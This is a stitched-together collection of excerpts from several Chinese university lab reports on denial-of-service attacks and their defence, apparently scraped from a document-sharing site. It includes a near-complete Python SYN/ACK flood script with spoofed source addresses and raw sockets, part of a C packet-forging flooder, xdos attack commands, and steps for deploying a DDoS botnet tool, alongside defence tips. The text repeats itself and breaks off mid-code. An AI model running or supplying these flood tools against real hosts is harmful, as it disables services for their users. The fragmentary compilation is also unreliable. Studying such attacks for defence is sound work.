实验10-拒绝服务攻击与防范
- 格式:doc
- 大小:433.50 KB
- 文档页数:21
一、实验背景随着互联网技术的飞速发展,网络安全问题日益突出。
为了提高网络安全意识,掌握网络安全防护技能,我们进行了一次网络攻击实验。
本次实验旨在了解网络攻击的基本原理,熟悉常见的网络攻击手段,以及掌握相应的防御措施。
二、实验目的1. 理解网络攻击的基本原理和常见手段。
2. 掌握网络攻击实验的基本流程。
3. 熟悉网络安全防护技术,提高网络安全意识。
三、实验环境1. 操作系统:Windows 102. 网络设备:路由器、交换机、计算机3. 实验软件:Wireshark、Nmap、Metasploit等四、实验内容1. 漏洞扫描(1)使用Nmap扫描目标主机,发现潜在的安全漏洞。
(2)分析扫描结果,了解目标主机的开放端口和服务信息。
2. 拒绝服务攻击(DoS)(1)使用Metasploit生成大量的伪造请求,对目标主机进行DoS攻击。
(2)观察目标主机响应时间,分析攻击效果。
3. 口令破解(1)使用Hydra工具尝试破解目标主机的登录口令。
(2)观察破解过程,了解口令破解的原理。
4. 恶意代码传播(1)利用网络共享传播恶意代码,感染目标主机。
(2)分析恶意代码的传播过程,了解恶意代码的特点。
5. 数据窃取(1)使用网络监听工具,窃取目标主机传输的数据。
(2)分析窃取到的数据,了解数据窃取的原理。
五、实验结果与分析1. 漏洞扫描通过Nmap扫描,我们成功发现目标主机的开放端口和服务信息,发现了一些潜在的安全漏洞。
这为我们进行后续的攻击实验提供了依据。
2. 拒绝服务攻击(DoS)我们使用Metasploit生成了大量的伪造请求,对目标主机进行了DoS攻击。
观察目标主机的响应时间,发现攻击效果明显,目标主机无法正常响应服务。
3. 口令破解我们尝试破解目标主机的登录口令,使用Hydra工具进行暴力破解。
经过一段时间,成功破解了目标主机的口令。
4. 恶意代码传播我们利用网络共享传播恶意代码,成功感染了目标主机。
一、实验目的
1.SYN洪水攻击
2.ICMP洪水攻击
二、实验内容与步骤
(1)SYN洪水攻击
对目标主机实施SYN洪水攻击的命令:nmap -v –sS -T5 靶机IP地址
(2)ICMP洪水攻击
启用实验平台ICMP洪水攻击工具
三、实验小结
SYN洪水攻击和ICMP洪水攻击尽管都能实现洪水攻击,但是二者的原理不同
1.SYN洪水攻击原理
在TCP连接的三次握手中,假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发送SYN+ACK应答报文后是无法收到客户端的ACK报文的,即第三次握手无法完成,成为半连接状态。
这种情况下服务器端一般会新开一个等待线程来负责等待一段时间(SYN Timeout),而服务器里面用来存放等待线程的堆栈一般不会很大。
因此黑客可以大量模拟这种情况,使服务器忙于处理这种半连接状态,最终等待堆栈溢出
2.ICMP洪水攻击原理
a..直接Flood
源IP就是黑客自己的IP,回应ICMP发回到黑客自己
b.伪造IP的Flood
伪造源IP
c.Smurf
结合IP地址欺骗和ICMP回复的方法,使大量回应报文发向攻击目标主机,引起攻击目标系统瘫痪。
实验10-拒绝服务攻击与防范贵州大学实验报告学院:计算机科学与技术学院专业:信息安全班级:sizeof(tcpHeader));tcpHeader.th_sum=checksum((USHORT*)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));//把伪造好的IP头和 TCP 头放进 buf 准备发送memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));//发送数据包rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader), 0, (struct sockaddr*)&addr_in, sizeof(addr_in));if (rect==SOCKET_ERROR){printf("send error!:%x",WSAGetLastError());return false;}elseprintf("send ok!");Sleep(sleeptime); //根据自己网速的快慢确定此值,sleeptime越小发得越快}//endwhile //重新伪造IP的源地址等再次向目标发送closesocket(sock);WSACleanup();return 0;}4.运行代码得到如下可执行文件:5.攻击之前,将一台web服务器的服务端口改为1234,如下:6.访问上面的web服务器如下:7.DoS攻击:8.最后一个参数60,表示每60ms发送一次,回车后:9.每60 ms显示一个send ok!表示发送成功。
DoS攻击之后,访问之前的web服务器,出现如下情况:表明DOS攻击成功!(二)分布式服务(DDoS)攻击与防范C1(攻击者)上安装DDoS客户端程序,C2—C6(傀儡机)上安装DDoS服务器端,C7(被攻击者)上安装启用冰盾DDoS防火墙,C8(被攻击者)上不使用防火墙。
实验拒绝式服务攻击于防范【实验目的】理解拒绝服务(DoS)攻击的概念,了解Ping Flood的基本原理。
【知识点】拒绝服务:Denial of Service (DoS) ,亦称洪水攻击。
指向某一特定的目标发动密集请求,用以把目标电脑的网络资源及系统资源耗尽,使之无法向真正正常请求的用户提供服务。
通常情况下攻击者会使用多台计算机同时对目标发起攻击,这称之为分布式拒绝服务攻击(Distributed Denial of Service,DDoS)。
Ping Flood:Ping Flood是洪水攻击的一种形式。
攻击者通过想被攻击者发送大量的Ping包(IMCP Echo包)已达到消耗受攻击者的带宽和系统资源的目的。
拒绝服务攻击可以使用Windows自带防火墙过滤对Ping包的响应来防范。
【实验准备】1.硬件:装有Windows操作系统的计算机2台(关闭防火墙),相互之间都必须可以进行网络通信(对ping有响应)。
图攻防篇- 12.软件:死亡之ping。
【注意事项】1.至少2台机器一组,实验后务必将相关工具软件从机器彻底删除,避免工具被恶意利用影响网络正常使用。
2.所有须观察的实验结果以截图的形式进行保留。
【实验步骤】本实验步骤1-3为准备步骤,步骤4-5为模拟攻击步骤,步骤6 为防护步骤。
1.建立一个包含有两台计算机的局域网。
分别将这两台计算机的IP地址设置为计算机A:192.168.0.1、计算机B:192.168.0.2。
2.在计算机A上执行以下操作:1)关闭防火墙3.在计算机A上打开任务管理器,观察CPU的使用记录。
4.在计算机B上执行以下操作:1) 打开死亡之Ping2) 关闭测试窗口3)选择10/S或1/S的攻击频率4)点击“开始”按钮5.在计算机A上执行以下操作:1) 同时右击任务栏,打开“任务管理器”2) 在任务管理器窗口中,点选“性能”标签页3) 观察“CPU使用”及“CPU使用记录”并与3-3)的结果比较4) 如CPU使用未有明显变化,在局域网中加入计算机C并重复4的步骤。
信息安全与管理专业实训报告学生姓名:一、实训名称:拒绝服务攻击-TCP SYN Flood攻击与防御。
二、实训内容1、kali的安装部署2、SYN Flood攻击演示3、观察受攻击目标的系统状态4、防御措施三、实验步骤1、python攻击代码环境:ubuntu/kali +python 2.7.11使用方法如下:mode有三种模式syn攻击、ack攻击、混合攻击,虽说是支持多线程但是多个线程反而不如单线程快,估计是我的多线程弄得有些问题,麻烦这方面比较懂的朋友帮我指点一下。
我电脑是i7-6700单线程也只能这点速度。
cpu1已经使用89%了看一下抓包情况吧,因为只是测试用我也没带tcp的options字段,报文长度也不够64字节,不过也能传到目的地址。
下面是代码:#!/usr/bin/python#-*-coding:utf-8-*-import socketimport structimport randomimport threadingclass myThread (threading.Thread):def __init__(self,dstip,dstport,mode):threading.Thread.__init__(self)self.dstip = dstipself.dstport =dstportself.mode =modedef run(self):attack(self.dstip,self.dstport,self.mode)def checksum(data):s = 0n = len(data) % 2for i in range(0, len(data)-n, 2):s+= ord(data[i]) + (ord(data[i+1]) << 8) if n:s+= ord(data[i+1])while (s >> 16):s = (s & 0xFFFF) + (s >> 16)s = ~s & 0xffffreturn sdef IP(source,destination,udplen):version = 4ihl = 5tos = 0tl = 20+udplenip_id = random.randint(1,65535)flags = 0offset = 0ttl = 128protocol =6check =0source = socket.inet_aton(source)destination = socket.inet_aton(destination)ver_ihl = (version << 4)+ihlflags_offset = (flags << 13)+offsetip_header = struct.pack("!BBHHHBBH4s4s",ver_ihl,tos,tl,ip_id,flags_offset,ttl,protocol,check,source,destination)check=checksum(ip_header)ip_header = struct.pack("!BBHHHBBH4s4s",ver_ihl,tos,tl,ip_id,flags_offset,ttl,protocol,socket.htons(check),source,destination)return ip_headerdef TCP(srcip,dstip,protocol,dp,fg):source = socket.inet_aton(srcip)destination = socket.inet_aton(dstip)srcport=random.randint(1,65535)dstport=dpsyn_num=random.randint(1,4000000000)if fg == 2:ack_num=0else:ack_num=random.randint(1,4000000000) hlen=5zero=0flag=fgwindow=8192check=0point=0tcplen=hlenh_f=(hlen << 12)+flagTCP_head=struct.pack("!4s4sHHHHIIHHHH",source,destination,protocol,tcplen,srcport,dstport,s yn_num,ack_num,h_f,window,check,point)check=checksum(TCP_head)TCP_head=struct.pack("!HHIIHHHH",srcport,dstport,syn_num,ack_num,h_f,window,check,point )return TCP_headdef makepacket(dstip,dstport,fg):srcip=str(random.choice(ip_first))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))+'. '+str(random.randint(1,255))protocol=6ippacket=IP(srcip,dstip,5)+TCP(srcip,dstip,protocol,dstport,fg)return ippacketdef attack(dstip,dstport,mode):if mode == 'syn':fg=2while 1:data=makepacket(dstip,dstport,fg)s.sendto(data,(dstip,dstport))elif mode == 'ack':fg=18while 1:data=makepacket(dstip,dstport,fg)s.sendto(data,(dstip,dstport))elif mode == 'syn&ack':while 1:data=makepacket(dstip,dstport,2)s.sendto(data,(dstip,dstport))data=makepacket(dstip,dstport,18)s.sendto(data,(dstip,dstport))else:print 'DON\'T xia say!'dstip=raw_input('attack IP:')dstport=int(input('attack PORT:'))mode=raw_input('mode:(syn or ack or syn&ack)') threads=int(input("线程数threads:"))ip_first=[]for i in range(1,10):ip_first.append(i)for i in range(11,172):ip_first.append(i)for i in range(173,192):ip_first.append(i)for i in range(193,224):ip_first.append(i)s = socket.socket(socket.AF_INET,socket.SOCK_RAW,6) s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)threads_name=[]for i in range(threads):threads_name.append('teread'+str(i))for i in range(threads):threads_name[i]=myThread(dstip,dstport,mode)for i in range(threads):threads_name[i].start()2、C语言攻击代码环境:ubuntu/kali gcc version 6.1.1 20160802 (Debian 6.1.1-11)使用方法:支持两个参数目的ip和目的端口性能:限制发包速度的是带宽(我这是100M的网,除去报文的前导码和帧间隔极限速度差不多就是9m左右了),cpu利用才27%,我在1000Mbps的网速下测试,单线程的话速度能到40m左右,cpu占用率大约85%左右。
拒绝服务与攻击防范拒绝服务攻击与防范拒绝服务,攻击,DoS,DDoS,DRoS。
一、一般的拒绝服务攻击与防范我们先来看看DoS的英文是什么-----DenialofService所以中文译过来就是拒绝服务了,因为Internet本身的弱点及Internet总体上的不安全性使入侵者利用了TCP/IP协议的一些不足来发动攻击,这样黑客们就容易攻击成功,因为拒绝服务攻击是一种技术含量低的攻击,所以大多人都可容易掌握,一般来说是攻击者在用其它办法不能攻击得呈时,他极有可能采用这种攻击方法,但是拒绝服务可以说是一种高消耗的方法,是一种损人不利已的行为,虽然攻击时使受攻击目标不能正常的提供服务的同时,也会浪费掉攻击者的大量代价。
由于攻击就是主要使服务器的服务能力下降,所以当你发现你的CPU占用是100%时,一定要仔细看看Ri志,最常见的是查看防火墙的记录,如果常见的黑客攻击是征对WEB服务攻击。
那么你还可从你的WEBRi志中得到一些收获的,从中仔细地分析出是什么原因造成的。
下面我来说说最常见的,也是最早的一些拒绝服务。
1、报文洪水攻击(FloodDoS)这个是根据TCP/IP协议的规定,要完成一个TCP连接时,需要三次握手。
首先客户端发一个有SYN标志的包给服务器,请求服务,然后服务端返回一个SYN+1的ACT响应包。
客户端收到后再发一个确认包给服务端。
这时,客户端与服务端建立连接成功,这样就为进行以后的通信作好了准备工作。
进行攻击时,攻击者就会利用只发伪造的包而不接收响应(这里实质是收不到,因为IP是假的),从而让服务器产生大量的“半开连接”,由于每个包服务器有一定的等待响应时间,而且当一定时间没有收到响应时,还会多次重发。
因此服务器在重发与等待过程中形成大量的半开连接。
从而攻击者可通过多台计算机。
发送大量的虚假IP源地址的SYN 数据包,造成服务器CPU的占用过渡,当达到一定量时,就形成了拒绝服务。
同时由于合法用户的请求大多被攻击包淹没中,即使服务器此时没有死机,也无力再响应合法用户的请求了。
华北电力大学
实验报告|
|
实验名称拒绝服务攻击实验
课程名称网络攻击与防范
|
|
专业班级:网络学生姓名:
学号:成绩:
指导教师:曹锦纲实验日期:
3、此时打开百度页面,可以看到能抓到所有发给PC2的ip数据包。
4、在PC1上打开XDos.exe,命令的格式为:xdos <目标主机IP> 端口号 -t 线程数 [-s <插入随机IP>]。
输入命令:xdos 192.168.137.3 80 -t 200 -s*,回车即可攻击,192.168.137.3是PC2的IP地址。
5、在PC2中可以看到大量伪造IP地址的主机请求与PC2的电脑建立连接。
且能通过捕捉到的数据包看到都是只请求不应答,以至于PC2保持有大量的半开连接。
6、停止攻击后,PC2不再接收到数据包。
五、拒绝式服务防范
几乎所有的主机平台都有抵御DoS的设置,常见的有以下几种:
(1)关闭不必要的服务。
(2)限制同时打开的Syn半连接数目。
(3)缩短Syn半连接的time out时间。
(4)及时更新系统补丁.
六、实验心得与体会。
基本含义为“重压;压力”等,本文称之为“负载”)。
另外,我们还将通过was评估一种相对简单的网站性能改善方法,这种方法的基本思想是在服务器上生成静态的html页面、避免过多的数据库调用。
负载测试是任何web应用的开发周期中一个重要的步骤。
如果你在构造一个为大量用户服务的应用,搞清楚你的产品配置能够承受多大的负载非常重要。
如果你在构造一个小型的internet网站,测试能够暴露出最终会导致服务器崩溃的内存漏洞以及竞争情况。
无论是哪种情形,花些时间对应用进行负载测试可以获得重要的基准性能数据,为未来的代码优化、硬件配置以及系统软件升级带来方便。
即使经费有限的开发组织也可以对它们的网站进行负载测试,因为microsoft的was是可以免费下载的。
was要求windows nt 4.0 sp4或者更高,或者windows 2000。
为了对网站进行负载测试,was可以通过一台或者多台客户机模拟大量用户的活动。
was支持身份验证、加密和cookies,也能够模拟各种浏览器类型和modem速度,它的功能和性能可以与数万美元的产品相媲美。
实验内容web application stress的安装和使用实验步骤4、打开d:\tools\was,双击web application stress的安装程序,进入安装向导。
如下图:5、默认安装,点击“下一步”如下图:6、这是它的一个说明文件,单击“ok”。
如下图:7、选中“finish”完成安装。
如下图:序。
如下图:9、打开程序界面。
如下图:图-610、选中sample script 项在server处我们填入需要压力测试的服务器地址。
下面那个填入我们要请求的页面路径。
如下图:11、这里还需要设置几个参数,在settings项里,setresslevel (threads) 指的是程序在后台用多少线程进行请求,tset run time 是指一次压力测试需要持续的时间,分为天,小时,分,秒,几个级别!如下图:12、一切设置后,就可以进行压力测试了。
一、实验背景随着信息技术的飞速发展,网络已经成为人们工作和生活中不可或缺的一部分。
然而,随之而来的网络安全问题也日益凸显。
为了提高对网络攻击的认识和防御能力,我们进行了本次网络攻击实验。
通过模拟网络攻击的过程,了解攻击者的攻击手段,以及防御网络攻击的方法。
二、实验目的1. 理解网络攻击的基本原理和常用手段。
2. 掌握网络安全防御的基本策略和工具。
3. 提高网络安全意识和自我保护能力。
三、实验环境1. 操作系统:Windows 102. 网络设备:路由器、交换机、PC机3. 软件环境:Wireshark、Nmap、Metasploit等网络安全工具四、实验步骤1. 信息收集利用Nmap扫描目标主机,获取目标主机的开放端口、操作系统等信息。
通过Wireshark抓取目标主机与网络之间的数据包,分析其网络流量。
2. 漏洞扫描利用Nmap对目标主机进行漏洞扫描,找出目标主机存在的安全漏洞。
3. 攻击模拟根据漏洞扫描结果,选择合适的攻击手段对目标主机进行攻击。
以下列举几种常见的网络攻击手段:(1)端口扫描攻击:通过扫描目标主机的开放端口,获取目标主机上的服务信息。
(2)拒绝服务攻击(DoS):通过大量请求占用目标主机资源,使目标主机无法正常响应。
(3)密码破解攻击:通过暴力破解、字典攻击等方法获取目标主机的登录凭证。
(4)木马攻击:通过植入木马程序,控制目标主机,获取敏感信息。
4. 攻击防御针对攻击模拟过程中发现的安全漏洞,采取相应的防御措施,如:(1)关闭不必要的开放端口,减少攻击面。
(2)更新操作系统和应用程序,修复已知漏洞。
(3)设置强密码,提高登录凭证的安全性。
(4)安装防火墙、入侵检测系统等安全设备,及时发现和阻止攻击。
五、实验结果与分析1. 通过信息收集,我们发现目标主机存在多个开放端口,其中包含Web服务、邮件服务、数据库服务等。
2. 漏洞扫描结果显示,目标主机存在多个安全漏洞,如:Web服务漏洞、数据库服务漏洞等。
网络拒绝服务攻击防御网络拒绝服务攻击(Distributed Denial of Service,DDoS)是一种常见的网络安全威胁,它会导致目标服务器无法正常提供服务,给用户和企业带来极大的困扰。
为了确保网络的安全和稳定,有效地防御DDoS攻击至关重要。
本文将从技术层面上阐述网络拒绝服务攻击的特点以及相应的防御措施。
一、网络拒绝服务攻击的特点网络拒绝服务攻击是通过大量的请求来占用服务器资源,使得合法用户无法正常访问网站或应用。
攻击者通常利用子网掩码、路由跳数限制、IP包负载、Ping包等方式实施攻击。
其特点主要体现在以下几个方面:1. 大规模流量洪水攻击:攻击者通过流量洪水攻击方式向目标服务器发送海量的请求,将其带宽和处理能力耗尽,从而导致服务器无法正常响应合法用户的请求。
2. IP伪造:攻击者通过伪造IP的方式,使得目标服务器难以识别其真实源地址,增加了攻击的隐蔽性和追踪的困难度。
3. 分布式攻击:攻击者通过控制多台分布在全球各地的僵尸计算机(Botnet)对目标服务器进行攻击,使得攻击的威力更大,同时也更难以追踪攻击源。
二、网络拒绝服务攻击的防御策略针对网络拒绝服务攻击的特点,我们可以采取以下几种防御策略:1. 流量过滤:通过配置网络设备,在出口处对进入的流量进行过滤,检查并丢弃异常的流量。
此种方式可以有效地减轻目标服务器的压力,提高网络的可用性。
2. 加强网络带宽:增加网络带宽是抵御DDoS攻击的一种有效策略。
充足的带宽能够更容易地分散攻击流量,减轻服务器的负载压力。
3. 负载均衡和分流:在网络架构中增加负载均衡设备,将用户请求分发到多个服务器上。
这样可以降低单个服务器受到攻击的风险,提高整体的服务可用性。
4. 使用专业的DDoS防火墙:通过引入专业的DDoS防火墙,可以对流量进行逐层过滤和检测,及时发现并隔离异常流量,保证网络服务的正常运行。
5. 实时监控和流量分析:建立实时监控系统,及时了解网络流量的状态和变化情况。
实验报告课程名称:网络安全维护与管理实验项目名称:拒绝服务攻击与防范学生姓名:专业:计算机网络技术学号:同组学生姓名:实验地点:实验日期:2012 年10 月9 日一、实验目的及要求了解黑客攻击的手段及步骤,掌握拒绝服务攻击的防范方法二、实验的内容及原理应用xdos模拟拒绝服务攻击,通过Sniffer监视网络的状态、数据流动情况并辨析攻击前后的数据变化情况,并进行适当的防御。
三、实验的环境1、网络环境:校园局域网中实训用计算机,计算机配置为……2、软件:VMware 5.3 及Windows Server 2003的虚拟机;3、Sniffer的安装软件。
4、IP为192.168.10.13进行攻击IP为192.168.10.18的计算机。
四、实验方法和步骤1、打开虚拟机,配置网络为192.168.18.13 ,计算机名为zss。
网络为192.168.18.18的计算机名为km.2、在计算机名为km的计算机上安装Sniffer软件。
(1)打开安装软件。
如图1图1(2)单击下一步。
如图2图2(3)依次选择下一步,到是否同意协议时选择是。
如图3图3(4)填写名字和公司,可随意填写。
如图4图4(5)选择安装路径,单击下一步。
如图5图5(6)软件进行安装。
如图6图6(7)填写名称、地址等,可随意填写。
如图7、图8、图9图7图8图9(8)选中NOT.....复选框,单击下一步。
如图10图10(9)单击完成按钮。
如图11图11(10)单击确定按钮。
如图12图12(11)单击完成按钮完成Sniffer软件的安装。
如图13图133、用计算机名为ZSS的计算机ping IP192.168.18.18可以ping通。
如图14图144、用计算机名为km的Sniffer软件对计算机进行检测,发现CPU的占用很少。
如图15图155、用IP为192.168.18.13的计算机向IP为192.168.18.18的计算机发送大量的数据包,进行攻击。
网络安全原理与应用系别:计算机科学与技术系班级:网络信息与技术姓名:x x x 学号:xxxxxxxxxxxxx拒绝服务攻击原理、常见方法及防范什么是DOS攻击DOS :即Denial Of Service,拒绝服务的缩写,可不能认为是微软的dos操作系统了。
DOS攻击即攻击者想办法让目标机器停止提供服务或资源访问,这些资源包括磁盘空间、内存、进程甚至网络带宽,从而阻止正常用户的访问。
比如:试图FLOOD服务器,阻止合法的网络通讯*破坏两个机器间的连接,阻止访问服务*阻止特殊用户访问服务*破坏服务器的服务或者导致服务器死机不过,只有那些比较阴险的攻击者才单独使用DOS攻击,破坏服务器。
通常,DOS攻击会被作为一次入侵的一部分,比如,绕过入侵检测系统的时候,通常从用大量的攻击出发,导致入侵检测系统日志过多或者反应迟钝,这样,入侵者就可以在潮水般的攻击中混骗过入侵检测系统。
DoS的攻击方式有很多种,最基本的DoS攻击就是利用合理的服务请求来占用过多的服务资源,从而使合法用户无法得到服务的响应。
DDoS攻击手段是在传统的DoS攻击基础之上产生的一类攻击方式。
单一的DoS攻击一般是采用一对一方式的,当攻击目标CPU速度低、内存小或者网络带宽小等等各项性能指标不高它的效果是明显的。
随着计算机与网络技术的发展,计算机的处理能力迅速增长,内存大大增加,同时也出现了千兆级别的网络,这使得DoS攻击的困难程度加大了-目标对恶意攻击包的”消化能力”加强了不少,例如你的攻击软件每秒钟可以发送3,000个攻击包,但我的主机与网络带宽每秒钟可以处理10,000个攻击包,这样一来攻击就不会产生什么效果。
这时侯分布式的拒绝服务攻击手段(DDoS )就应运而生了。
你理解了DoS攻击的话,它的原理就很简单。
如果说计算机与网络的处理能力加大了10倍,用一台攻击机来攻击不再能起作用的话,攻击者使用10台攻击机同时攻击呢?用100台呢?DDoS就是利用更多的傀儡机来发起进攻,以比从前更大的规模来进攻受害者。
4. 检查Server状态。
发动攻击前,为了保证Server的有效,我们最好对它来次握手应答过程,把没用的Server踢出去,点击“检查状态”按钮,Client
列表来次扫描检查,最后会生成一个报告,看:
5. 清理无效主机
点“切换”按钮进入无效主机列表,用“清理主机”按钮把无效的废机踢出去,再按一次“切换”转回主机列表。
7. 攻击
经过前面的检测,我们现在可以发动攻击了。
SYN攻击:源IP乱填(要遵守IP协议),目标IP填你要攻击的IP或域名,源端口0---65535随便一个,目标端口:80--攻击HTTP,21--攻击FTP,23--攻击Telnet,25/110--攻击E-MAIL,8000--攻击腾讯
8. 对方机器的cpu占用率如图所示:
证明攻击成功,但攻击完事之后,一定要记得停止攻击。
实验完毕,关闭虚拟机和所有窗口。
贵州大学实验报告
学院:计算机科学与技术学院专业:信息安全班级:
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
//发送数据包
rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader), 0, (struct sockaddr*)&addr_in, sizeof(addr_in));
if (rect==SOCKET_ERROR)
{
printf("send error!:%x",WSAGetLastError());
return false;
}
else
printf("send ok!");
Sleep(sleeptime); //根据自己网速的快慢确定此值,sleeptime越小发得越快
}//endwhile //重新伪造IP的源地址等再次向目标发送
closesocket(sock);
WSACleanup();
return 0;
}
4.运行代码得到如下可执行文件:
5.攻击之前,将一台web服务器的服务端口改为1234,如下:
6.访问上面的web服务器如下:
7.DoS攻击:
8.最后一个参数60,表示每60ms发送一次,回车后:
9.每60 ms显示一个send ok!表示发送成功。
DoS攻击之后,访问之前的web服务器,出现如下情况:
表明DOS攻击成功!
(二)分布式服务(DDoS)攻击与防范
C1(攻击者)上安装DDoS客户端程序,C2—C6(傀儡机)上安装
DDoS服务器端,C7(被攻击者)上安装启用冰盾DDoS防火墙,C8(被
攻击者)上不使用防火墙。
1.C1下载风云压力测试软件,解压后可看见目录下有一生成器
文件
2.单击【生成版本】,生成客户端和服务器端软件
3.在装服务器端Service.exe的计算机的host文件最后加入相
应域名的客户机IP:192.168.2.8
4.在服务器(C2—C6)装上Service.exe,在客户端C1装上“风
云vip客户端”。
C1(攻击者)单击“开始监听”,攻击目标输入C8(不使用防火墙)ip:192.168.2.73
5.使用SYN攻击C6后,用其他计算机ping计算机C6,发现无法连接
6.攻击目标输入C7(安装启用冰盾)ip:192.168.2.80
7.C7上检测到:
思考题(一)拒绝服务(DoS)攻击与防范
1.如何防止和发现拒绝服务攻击?
答:被DOS攻击事的现象大致有:
1)被攻击主机上有大量等待的TCP连接。
2)被攻击主机的系统资源被大量占用,造成系统停顿。
3)网络充斥着大量无用的数据包,源地址为伪造地址。
4)大量无用数据使得网络拥塞,受害主机无法与外界进行通信。
5)利用受害主机提供的服务或传输协议上的缺陷,反复高速地发送特定的
服务请求,使受害主机无法及时处理所有正常请求,严重时会造成系统
崩溃。
防范:
主机设置:
1)关闭不必要的服务。
2)将数据包的链接数从默认值128或512改为2048或更大,以家常每次处理数据包队列的长度;以缓解和消化更多数据包的连接。
3)将连接超时时间设置得较短,以保证正常数据包的连接,屏蔽非法攻击包。
4)及时更新系统、安装补丁。
防火墙设置。
仍以SYN Flood为例,可以在在防火墙上进行如下设置:
1)禁止对主机非开放服务的访问。
2)限制同时打开的数据包最大连接数。